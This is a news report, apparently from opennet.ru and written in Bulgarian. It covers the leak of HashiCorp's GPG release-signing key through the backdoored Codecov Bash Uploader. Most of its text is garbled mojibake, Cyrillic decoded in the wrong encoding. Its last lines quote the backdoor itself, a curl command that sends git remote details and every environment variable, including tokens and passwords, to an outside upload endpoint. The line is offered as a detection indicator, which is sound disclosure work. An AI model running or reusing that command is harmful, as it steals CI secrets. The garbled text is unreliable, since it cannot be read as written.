ΠΠΎΠΌΠΏΠ°Π½ΠΈΡ HashiCorp, ΠΈΠ·Π²Π΅ΡΡΠ½Π° Ρ ΡΠ°Π·ΡΠ°Π±ΠΎΡΠΊΠ°ΡΠ° Π½Π° ΠΎΡΠ²ΠΎΡΠ΅Π½ΠΈ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΠΈ ΠΊΠ°ΡΠΎ Vagrant, Packer, Nomad ΠΈ Terraform, ΠΎΠ±ΡΠ²ΠΈ ΠΈΠ·ΡΠΈΡΠ°Π½Π΅ Π½Π° ΠΊΠΎΠ½ΡΠΈΠ΄Π΅Π½ΡΠΈΠ°Π»Π΅Π½ GPG ΠΊΠ»ΡΡ, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ Π·Π° Π³Π΅Π½Π΅ΡΠΈΡΠ°Π½Π΅ Π½Π° ΡΠΈΡΡΠΎΠ²ΠΈ ΠΏΠΎΠ΄ΠΏΠΈΡΠΈ, ΡΠ΄ΠΎΡΡΠΎΠ²Π΅ΡΡΠ²Π°ΡΠΈ ΡΠ΅Π»ΠΈΠ·ΠΈΡΠ΅. ΠΡΠ°ΠΊΡΠ²Π°ΡΠΈΡΠ΅, ΠΏΠΎΠ»ΡΡΠΈΠ»ΠΈ Π΄ΠΎΡΡΡΠΏ Π΄ΠΎ GPG ΠΊΠ»ΡΡΠ°, ΠΏΠΎΡΠ΅Π½ΡΠΈΠ°Π»Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ Π° Π΄Π° Π²Π½Π΅ΡΠ°Ρ ΡΠΊΡΠΈΡΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΡ Π² ΠΏΡΠΎΠ΄ΡΠΊΡΠΈΡΠ΅ Π½Π° HashiCorp, ΡΠ΄ΠΎΡΡΠΎΠ²Π΅ΡΡΠ²Π°ΠΉΠΊΠΈ Π³ΠΈ Ρ Π²Π°Π»ΠΈΠ΄Π½Π° ΡΠΈΡΡΠΎΠ²Π° ΠΏΠΎΠ΄ΠΏΠΈΡΡ. ΠΡΠΏΡΠ΅ΠΊΠΈ ΡΠΎΠ²Π°, ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΡΡΠ° Π·Π°ΡΠ²ΠΈ, ΡΠ΅ ΠΏΡΠΈ ΠΏΡΠΎΠ²Π΅Π΄Π΅Π½ ΠΎΠ΄ΠΈΡ Π½Π΅ ΡΠ° ΠΎΡΠΊΡΠΈΡΠΈ ΡΠ»Π΅Π΄ΠΈ ΠΎΡ ΠΎΠΏΠΈΡΠΈ Π·Π° ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΈ ΠΌΠΎΠ΄ΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ.
Π ΠΌΠΎΠΌΠ΅Π½ΡΠ° ΠΊΠΎΠΌΠΏΡΠΎΠΌΠ΅ΡΠΈΡΠ°Π½ΠΈΡΡ GPG ΠΊΠ»ΡΡ Π΅ ΠΎΡΡΠ΅Π³Π»Π΅Π½ ΠΈ Π΅ Π²ΡΠ²Π΅Π΄Π΅Π½ Π½ΠΎΠ² ΠΊΠ»ΡΡ. ΠΡΠΎΠ±Π»Π΅ΠΌΡΡ Π·Π°ΡΡΠ³Π° ΡΠ°ΠΌΠΎ ΡΠ΄ΠΎΡΡΠΎΠ²Π΅ΡΡΠ²Π°Π½Π΅ΡΠΎ ΡΡΠ΅Π· ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ SHA256SUM ΠΈ SHA256SUM.sig ΠΈ Π½Π΅ Π·Π°ΡΡΠ³Π° Π³Π΅Π½Π΅ΡΠΈΡΠ°Π½Π΅ΡΠΎ Π½Π° ΡΠΈΡΡΠΎΠ²ΠΈ ΠΏΠΎΠ΄ΠΏΠΈΡΠΈ Π·Π° Linux ΠΏΠ°ΠΊΠ΅ΡΠΈΡΠ΅ DEB ΠΈ RPM, ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²ΡΠ½ΠΈ ΡΡΠ΅Π· releases.hashicorp.com, Π½ΠΈΡΠΎ ΠΌΠ΅Ρ Π°Π½ΠΈΠ·ΠΌΠΈΡΠ΅ Π·Π° ΡΠ΄ΠΎΡΡΠΎΠ²Π΅ΡΡΠ²Π°Π½Π΅ Π½Π° Π²Π΅ΡΡΠΈΠΈΡΠ΅ Π·Π° macOS ΠΈ Windows (AuthentiCode).
ΠΠ·ΡΠΈΡΠ°Π½Π΅ΡΠΎ Π΅ Π½Π°ΡΡΡΠΏΠΈΠ»ΠΎ Π·Π°ΡΠ°Π΄ΠΈ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ΡΠΎ Π½Π° ΡΠΊΡΠΈΠΏΡΠ° Codecov Bash Uploader (codecov-bash) Π² ΠΈΠ½ΡΡΠ°ΡΡΡΡΠΊΡΡΡΠ°ΡΠ°, ΠΏΡΠ΅Π΄Π½Π°Π·Π½Π°ΡΠ΅Π½ Π·Π° ΠΊΠ°ΡΠ²Π°Π½Π΅ Π½Π° ΠΎΡΡΠ΅ΡΠΈ Π·Π° ΠΏΠΎΠΊΡΠΈΡΠΈΠ΅ ΠΎΡ ΡΠΈΡΡΠ΅ΠΌΠΈΡΠ΅ Π·Π° Π½Π΅ΠΏΡΠ΅ΠΊΡΡΠ½Π°ΡΠ° ΠΈΠ½ΡΠ΅Π³ΡΠ°ΡΠΈΡ. ΠΡΠΈ Π°ΡΠ°ΠΊΠ°ΡΠ° ΡΡΠ΅ΡΡ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΡΡΠ° Codecov, Π² ΠΏΠΎΡΠΎΡΠ΅Π½ΠΈΡ ΡΠΊΡΠΈΠΏΡ Π΅ Π±ΠΈΠ» ΡΠ°ΠΉΠ½ΠΎ Π²Π½Π΅Π΄ΡΠ΅Π½ Π±Π΅ΠΊΠ΄ΠΎΡ, ΡΡΠ΅Π· ΠΊΠΎΠΉΡΠΎ Π΅ ΠΎΡΠ³Π°Π½ΠΈΠ·ΠΈΡΠ°Π½ΠΎ ΠΈΠ·ΠΏΡΠ°ΡΠ°Π½Π΅ΡΠΎ Π½Π° ΠΏΠ°ΡΠΎΠ»ΠΈ ΠΈ ΠΊΠ»ΡΡΠΎΠ²Π΅ Π·Π° ΠΊΡΠΈΠΏΡΠΈΡΠ°Π½Π΅ Π½Π° ΡΡΡΠ²ΡΡ Π°ΡΠ°ΠΊΡΠ²Π°ΡΠΈΡΠ΅.
ΠΡΠ°ΠΊΡΠ²Π°ΡΠΈΡΠ΅ ΡΠ° ΡΠ΅ Π²ΡΠ·ΠΏΠΎΠ»Π·Π²Π°Π»ΠΈ ΠΎΡ Π³ΡΠ΅ΡΠΊΠ° Π² ΠΏΡΠΎΡΠ΅ΡΠ° Π½Π° ΡΡΠ·Π΄Π°Π²Π°Π½Π΅ Π½Π° Docker ΠΎΠ±ΡΠ°Π·Π° Codecov, ΠΊΠΎΡΡΠΎ Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΠ»Π° ΠΈΠ·Π²Π»ΠΈΡΠ°Π½Π΅ΡΠΎ Π½Π° Π΄Π°Π½Π½ΠΈ Π·Π° Π΄ΠΎΡΡΡΠΏ Π΄ΠΎ GCS (Google Cloud Storage), Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΈ Π·Π° ΠΈΠ·Π²ΡΡΡΠ²Π°Π½Π΅ Π½Π° ΠΏΡΠΎΠΌΠ΅Π½ΠΈ Π² ΡΠΊΡΠΈΠΏΡΠ° Bash Uploader, ΡΠ°Π·ΠΏΡΠΎΡΡΡΠ°Π½ΡΠ²Π°Π½ ΠΎΡ ΡΠ°ΠΉΡΠ° codecov.io. ΠΡΠΎΠΌΠ΅Π½ΠΈΡΠ΅ ΡΠ° Π±ΠΈΠ»ΠΈ Π½Π°ΠΏΡΠ°Π²Π΅Π½ΠΈ ΠΎΡΠ΅ Π½Π° 31 ΡΠ½ΡΠ°ΡΠΈ, ΠΎΡΡΠ°Π²Π°Π»ΠΈ ΡΠ° Π½Π΅Π·Π°Π±Π΅Π»ΡΠ·Π°Π½ΠΈ Π΄Π²Π° ΠΌΠ΅ΡΠ΅ΡΠ° ΠΈ ΡΠ° ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ²Π°Π»ΠΈ Π½Π° Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈΡΠ΅ ΡΡΠ±Π΅ΠΊΡΠΈ Π΄Π° ΠΈΠ·Π²Π»ΠΈΡΠ°Ρ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ, ΡΡΡ ΡΠ°Π½ΡΠ²Π°Π½Π° Π² ΡΡΠ΅Π΄ΠΈΡΠ΅ Π½Π° ΡΠΈΡΡΠ΅ΠΌΠΈΡΠ΅ Π·Π° Π½Π΅ΠΏΡΠ΅ΠΊΡΡΠ½Π°ΡΠ° ΠΈΠ½ΡΠ΅Π³ΡΠ°ΡΠΈΡ Π½Π° ΠΊΠ»ΠΈΠ΅Π½ΡΠΈΡΠ΅. Π§ΡΠ΅Π· Π΄ΠΎΠ±Π°Π²Π΅Π½ΠΈΡ Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ ΠΊΠΎΠ΄, Π°ΡΠ°ΠΊΡΠ²Π°ΡΠΈΡΠ΅ ΡΠ° ΠΌΠΎΠ³Π»ΠΈ Π΄Π° ΠΏΠΎΠ»ΡΡΠ°Ρ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ Π·Π° ΡΠ΅ΡΡΠ²Π°Π½ΠΈΡ Git ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΠΉ ΠΈ Π²ΡΠΈΡΠΊΠΈ ΠΏΡΠΎΠΌΠ΅Π½Π»ΠΈΠ²ΠΈ Π½Π° ΡΡΠ΅Π΄Π°ΡΠ°, Π²ΠΊΠ»ΡΡΠΈΡΠ΅Π»Π½ΠΎ ΡΠΎΠΊΠ΅Π½ΠΈ, ΠΊΠ»ΡΡΠΎΠ²Π΅ Π·Π° ΠΊΡΠΈΠΏΡΠΈΡΠ°Π½Π΅ ΠΈ ΠΏΠ°ΡΠΎΠ»ΠΈ, ΠΏΡΠ΅Π΄Π°Π²Π°Π½ΠΈ Π² ΡΠΈΡΡΠ΅ΠΌΠΈΡΠ΅ Π·Π° Π½Π΅ΠΏΡΠ΅ΠΊΡΡΠ½Π°ΡΠ° ΠΈΠ½ΡΠ΅Π³ΡΠ°ΡΠΈΡ Π·Π° ΠΎΡΠ³Π°Π½ΠΈΠ·ΠΈΡΠ°Π½Π΅ Π½Π° Π΄ΠΎΡΡΡΠΏ Π΄ΠΎ ΠΊΠΎΠ΄Π° Π½Π° ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡΡΠ°, Ρ ΡΠ°Π½ΠΈΠ»ΠΈΡΠ°ΡΠ° ΠΈ ΡΡΠ»ΡΠ³ΠΈ ΠΊΠ°ΡΠΎ Amazon Web Services ΠΈ GitHub.
ΠΡΠ²Π΅Π½ ΠΏΡΡΠΊΠΎΡΠΎ ΠΈΠ·Π²ΠΈΠΊΠ²Π°Π½Π΅, ΡΠΊΡΠΈΠΏΡΡΡ Codecov Bash Uploader Π΅ Π±ΠΈΠ» ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ ΠΈ Π² ΡΠ°ΠΌΠΊΠΈΡΠ΅ Π½Π° Π΄ΡΡΠ³ΠΈ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΠΈ Π·Π° ΠΊΠ°ΡΠ²Π°Π½Π΅, ΠΊΠ°ΡΠΎ Codecov-action (Github), Codecov-circleci-orb ΠΈ Codecov-bitrise-step, ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΠΈΡΠ΅ Π½Π° ΠΊΠΎΠΈΡΠΎ ΡΡΡΠΎ ΡΠ° ΠΈΠ·Π»ΠΎΠΆΠ΅Π½ΠΈ Π½Π° ΡΠΈΡΠΊΠ°. ΠΡΠΈΡΠΊΠΈ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΠΈ Π½Π° codecov-bash ΠΈ ΡΠ²ΡΡΠ·Π°Π½ΠΈΡΠ΅ Ρ Π½Π΅Π³ΠΎ ΠΏΡΠΎΠ΄ΡΠΊΡΠΈ ΡΠ΅ ΠΏΡΠ΅ΠΏΠΎΡΡΡΠ²Π° Π΄Π° ΠΈΠ·Π²ΡΡΡΠ°Ρ ΠΎΠ΄ΠΈΡ Π½Π° ΠΈΠ½ΡΡΠ°ΡΡΡΡΠΊΡΡΡΠΈΡΠ΅ ΡΠΈ, ΠΊΠ°ΠΊΡΠΎ ΠΈ Π΄Π° ΡΠΌΠ΅Π½ΡΡ ΠΏΠ°ΡΠΎΠ»ΠΈΡΠ΅ ΠΈ ΠΊΠ»ΡΡΠΎΠ²Π΅ΡΠ΅ Π·Π° ΠΊΡΠΈΠΏΡΠΈΡΠ°Π½Π΅. ΠΠΎΠΆΠ΅ΡΠ΅ Π΄Π° ΠΏΡΠΎΠ²Π΅ΡΠΈΡΠ΅ Π·Π° Π½Π°Π»ΠΈΡΠΈΠ΅ Π½Π° Π±Π΅ΠΊΠ΄ΠΎΡ Π² ΡΠΊΡΠΈΠΏΡΠ°, ΡΡΡΡΠ΅ΠΉΠΊΠΈ Π½Π°Π»ΠΈΡΠΈΠ΅ΡΠΎ Π½Π° ΡΠ΅Π΄Π° curl -sm 0.5 -d "$(git remote -v)<<< ENV $(env)" http:///upload/v2 || true
ΠΠ·ΡΠΎΡΠ½ΠΈΠΊ: opennet.ru
